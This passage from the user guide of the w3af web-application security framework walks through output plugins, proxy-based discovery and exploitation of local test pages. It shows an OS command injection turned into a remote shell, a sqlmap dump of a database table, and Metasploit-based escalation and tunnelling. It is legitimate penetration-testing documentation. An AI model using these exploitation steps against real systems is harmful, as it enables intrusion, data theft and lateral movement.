<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell-0>>></B><SPAN STYLE="font-weight: medium">ls
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">vulnerable.php
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">vulnerable2.php
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">w3afAgentClient.log
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell-0>>></B><SPAN STYLE="font-weight: medium">endInteraction
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">exit
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">spawned
a remote shell today? </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>$
</B></FONT>
</P>
<P STYLE="margin-left: 0.49in"><BR><BR>
</P>
<H2 CLASS="western">The Output</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>All the output of w3af is managed by the output
plugins. Each output plugin will write in a different format ( txt,
html, etc ), for example the textFile plugin writes all output to the
output-w3af.txt file by default. The configuration of this plugins is
done just like other plugins, as seen before:</P>
<P><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>$</B>
./w3af_console</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
output console,textFile</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
output config textFile</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B>
set fileName output-w3af.txt</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B>
set verbose True</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:textFile>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
output config console</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:console>>></B>
set verbose False</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins/output/config:console>>></B>
back</FONT></P>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>This will configure the textFile plugin to output
all messages, including the debugging information ( see “<FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="font-weight: medium">set
verbose True” </SPAN></FONT><FONT FACE="Bitstream Vera Sans, sans-serif"><SPAN STYLE="font-weight: medium">)
to the </SPAN></FONT><FONT FACE="Nimbus Mono L, monospace"><SPAN STYLE="font-weight: medium">“output-w3af.txt”
</SPAN></FONT><FONT FACE="Bitstream Vera Sans, sans-serif"><SPAN STYLE="font-weight: medium">file.
Here is an example of what is written to this file:</SPAN></FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - w3afCore ] Exiting
setOutputPlugins() </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - w3afCore ] Called w3afCore.start()
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - xUrllib ] Called buildOpeners </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - keepalive ] keepalive: The
connection manager has 0 active connections. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - keepalive ] keepalive: added one
connection, len(self._hostmap["localhost"]): 1 </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - httplib ] DNS response from DNS
server for domain: localhost </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">[
Sun Sep 14 17:36:09 2008 - debug - xUrllib ] GET
http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9
returned HTTP code "200" </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">Output
plugins also handle the logging of HTTP requests and responses. Every
plugin handles this data in a different way. For example, the
textFile plugin writes requests and responses to a file, while the
htmlFile plugin disregards the data and simply does nothing with it.
An example of a HTTP log written by the textFile follows:</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">==========Request
4 - Sun Sep 14 17:36:12 2008============== </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">GET
http://localhost/w3af/osCommanding/vulnerable.php?command=+ping+-c+4+localhost
HTTP/1.1 </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Host:
localhost </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Accept-encoding:
identity </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Accept:
*/* </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">User-agent:
w3af.sourceforge.net </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">==========Response
4 - Sun Sep 14 17:36:12 2008============== </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">HTTP/1.1
200 OK </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">date:
Sun, 14 Sep 2008 20:36:09 GMT </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">transfer-encoding:
chunked </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">x-powered-by:
PHP/5.2.4-2ubuntu5.3 </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">content-type:
text/html </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">server:
Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2
PHP/5.2.4-2ubuntu5.3 with Suhosin-Patch </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">PING
localhost (127.0.0.1) 56(84) bytes of data. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">64
bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.024 ms </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">64
bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.035 ms </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">64
bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.037 ms </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">64
bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.037 ms </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">---
localhost ping statistics --- </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">4
packets transmitted, 4 received, 0% packet loss, time 2999ms </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">rtt
min/avg/max/mdev = 0.024/0.033/0.037/0.006 ms </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">=============================================================</FONT></P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><FONT FACE="Bitstream Vera Sans, sans-serif">All
messages sent by the plugins and the framework are sent to ALL
enabled plugins, so if you have enabled textFile and htmlFile output
plugins, both will log a vulnerability found by an audit plugin.</FONT></P>
<P STYLE="font-weight: medium"><BR><BR>
</P>
<H2 CLASS="western">Complex sites</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>Some sites use embedded objects, like Macromedia
Flash and Java applets, that the browser renders to the user. Because
of the inability of the framework to get any information out of those
objects, a script called spiderMan was created. This script will run
a HTTP proxy so the user can navigate the target site through it;
during this process the plugin will extract information from the
requests and responses.</P>
<P ALIGN=JUSTIFY>A simple example will clarify things, let's suppose
that w3af is auditing a site and can't find any links on the main
page. After a closer interpretation of the results by the user, it is
clear that the main page has a Java applet menu where all the other
sections are linked. The user runs w3af once again and now activates
the spiderMan plugin, navigates the site manually using the browser
and the spiderman proxy. When the user has finished his browsing,
w3af will continue with all the hard auditing work.</P>
<P ALIGN=JUSTIFY>The spiderMan plugin can be used when Javascript,
Flash, Java applets or any other browser side technology is present.</P>
<P>This is a sample spiderMan plugin run:</P>
<P><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
plugins</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
discovery spiderMan</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
target</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>
set target http://localhost/w3af/fileUpload/</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/target>>></B>
back</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
start</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">spiderMan
proxy is running on 127.0.0.1:44444 . </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Please
configure your browser to use these proxy settings and navigate the
target site. To exit spiderMan plugin please navigate to
http://127.7.7.7/spiderMan?terminate . </FONT>
</P>
<P STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY>Now the user configures the browser to use the
127.0.0.1:44444 proxy and navigates the target site, after that he
navigates to <FONT FACE="Bitstream Vera Sans, sans-serif">“http://127.7.7.7/spiderMan?terminate”</FONT>
and exits the spiderMan. The results are shown:</P>
<P STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery: http://localhost/w3af/test</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery: http://localhost/favicon.ico</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery: http://localhost/w3af/</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery: http://localhost/w3af/img/w3af.png</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery:
http://localhost/w3af/xss-forms/test-forms.html</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">New
URL found by discovery:
http://localhost/w3af/xss-forms/dataReceptor.php</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
list of found URLs is:</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/fileUpload/</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/test</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/xss-forms/dataReceptor.php</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/img/w3af.png</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/xss-forms/test-forms.html</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/fileUpload/uploader.php</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/favicon.ico</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Found
8 URLs and 8 different points of injection.</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">The
list of Fuzzable requests is:</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/fileUpload/ | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/fileUpload/uploader.php | Method: POST |
Parameters: (MAX_FILE_SIZE,uploadedfile)</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/test | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/favicon.ico | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/ | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/img/w3af.png | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/xss-forms/test-forms.html | Method: GET</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/xss-forms/dataReceptor.php | Method: POST |
Parameters: (user,firstname)</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Starting
sqli plugin execution.</FONT></P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B></FONT></P>
<H2 CLASS="western">Exploiting</H2>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY>Two ways of exploiting a vulnerability exist, the
first one uses the vulnerabilities found by the audit phase and the
second one, which is called fastextploit, requires the user to enter
the vulnerability parameters.</P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY>Let's see an example of the first way of exploiting
a vulnerability with w3af:</P>
<P ALIGN=JUSTIFY STYLE="font-weight: medium"><BR><BR>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">plugins
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">audit
osCommanding </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugins>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">target
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:target>>></B><SPAN STYLE="font-weight: medium">set
target
http://localhost/w3af/osCommanding/vulnerable.php?command=f0as9 </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/config:target>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">start
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Found
1 URLs and 1 different points of injection. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
list of URLs is: </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/osCommanding/vulnerable.php </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
list of fuzzable requests is: </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
http://localhost/w3af/osCommanding/vulnerable.php | Method: GET |
Parameters: (command) </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Starting
osCommanding plugin execution. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">OS
Commanding was found at:
"http://localhost/w3af/osCommanding/vulnerable.php", using
HTTP method GET. The sent data was: "command=+ping+-c+9+localhost".
The vulnerability was found in the request with id 5. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Finished
scanning process. </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B><SPAN STYLE="font-weight: medium">exploit
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B><SPAN STYLE="font-weight: medium">exploit
osCommandingShell </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">osCommandingShell
exploit plugin is starting. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">The
vulnerability was found using method GET, tried to change the method
to POST for exploiting but failed. </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Vulnerability
successfully exploited. This is a list of available shells: </FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">-
[0] <osCommandingShell object (ruser: "www-data" |
rsystem: "Linux brick 2.6.24-19-generic i686 GNU/Linux")>
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Please
use the interact command to interact with the shell objects. </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B><SPAN STYLE="font-weight: medium">interact
0 </SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">Execute
"endInteraction" to get out of the remote shell. Commands
typed in this menu will be runned on the remote web server. </FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell-0>>></B><SPAN STYLE="font-weight: medium">ls
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">vulnerable.php
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">vulnerable2.php
</FONT>
</P>
<P STYLE="margin-left: 0.49in; font-weight: medium"><FONT FACE="Nimbus Mono L, monospace">w3afAgentClient.log
</FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/osCommandingShell-0>>></B><SPAN STYLE="font-weight: medium">endInteraction
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B><SPAN STYLE="font-weight: medium">back
</SPAN></FONT>
</P>
<P STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B></FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY>The second way is to use fastexploit. This method
should be used when the user has found a vulnerability manually and
wants to exploit it using the framework. Here is an example of a
fastexploit run:</P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af>>></B>
exploit</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B>
exploit config sqlmap</FONT></P>
<P ALIGN=LEFT STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugin/sqlmap>>>
</B>set url http://localhost/w3af/blindSqli/blindSqli-integer.php</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugin/sqlmap>>></B>
set injvar id</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugin/sqlmap>>></B>
set data id=1</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/plugin/sqlmap>>></B>
back</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit>>></B>
fastexploit sqlmap</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">sqlmap
coded by inquis <bernardo.damele@gmail.com> and belch
<daniele.bellucci@gmail.com></FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">SQL
injection could be verified, trying to create the DB driver.</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Execute
"exitPlugin" to get out of the remote shell. Commands typed
in this menu will be runned on the remote web server.</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/sqlmap>>></B>
dump agenda w3af_test</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Database:
w3af_test</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">Table:
agenda</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">[2
entries]</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">+---------------+----+--------+----------+-----------------+</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
direccion | id | nombre | telefono | email |</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">+---------------+----+--------+----------+-----------------+</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
direccion 123 | 1 | apr | 52365786 | acho@c.com |</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">|
direccion 333 | 2 | vico | 47998123 | vTro@c.com |</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">+---------------+----+--------+----------+-----------------+</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace"><B>w3af/exploit/sqlmap>>></B></FONT></P>
<H3 CLASS="western">Advanced exploiting techniques</H3>
<P><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
framework implements two highly advanced exploiting techniques that
allow the user to keep escalating privileges into the remote network.
Both of this techniques are used once the framework is able to
execute remote operating system commands, this is the case of (for
example) osCommanding, remoteFileIncludeShell and davShell attack
plugins. These exploiting techniques are:</FONT></P>
<UL>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Virtual
daemon, allows you <FONT FACE="Bitstream Vera Sans, sans-serif">to
use metasploit payloads to exploit the server that supports a
vulnerable web application.</FONT></FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3afAgent,
which creates a tunnel between the compromised server and w3af, the
allow the user to route TCP connections through the remote server.</FONT></P>
<P ALIGN=JUSTIFY></P>
</UL>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">Both of
them are simple to use and configure using this guide. These features
are under heavy development and are under no means stable, use them
at your on risk.</FONT></P>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<H3 CLASS="western" ALIGN=JUSTIFY STYLE="margin-top: 0in">Virtual
daemon</H3>
<P ALIGN=JUSTIFY><BR><BR>
</P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">As said
before, this feature allows you to use metasploit payloads to exploit
the server that supports a vulnerable web application. To use this
feature you must have a working installation of the metasploit
framework version 3.0 or greater; you can get it for free at
<A HREF="http://www.metasploit.com/">www.metasploit.com</A> , the
installation and configuration of MSF is out of the scope of this
document.</FONT></P>
<P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">To be
able to use the virtual daemon you will need to run the following
command in order to copy the w3af metasploit module into the MSF
directory:</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><FONT FACE="Nimbus Mono L, monospace">./w3af_console
-i /home/jdoe/tools/msf/</FONT></P>
<P ALIGN=JUSTIFY STYLE="margin-left: 0.49in"><BR><BR>
</P>
<P ALIGN=JUSTIFY>Where “<FONT FACE="Nimbus Mono L, monospace">/home/jdoe/tools/msf/</FONT><FONT FACE="Bitstream Vera Sans, sans-serif">”
is the directory where the user “jdoe” installed Metasploit. I</FONT>n
case you are interested, this is just a fancy shortcut for “<FONT FACE="Nimbus Mono L, monospace">cp
</FONT><FONT FACE="Nimbus Mono L, monospace">core/controllers/vdaemon/w3af_vdaemon.rb
/home/user/tools/msf/modules/exploits/unix/misc/</FONT>”. Once this
has been done, the user can start using the virtual daemon feature,
before going through an example to see how to use the feature, we
will make a summary of the steps that will happened during the
exploitation:</P>
<OL>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">w3af
finds a vulnerability that allows remote command execution</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
user exploits the vulnerability and starts the virtual daemon</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
user starts the metasploit framework</FONT></P>
<LI><P ALIGN=JUSTIFY><FONT FACE="Bitstream Vera Sans, sans-serif">The
user configures the w3af module inside MSF and executes it</FONT></P>
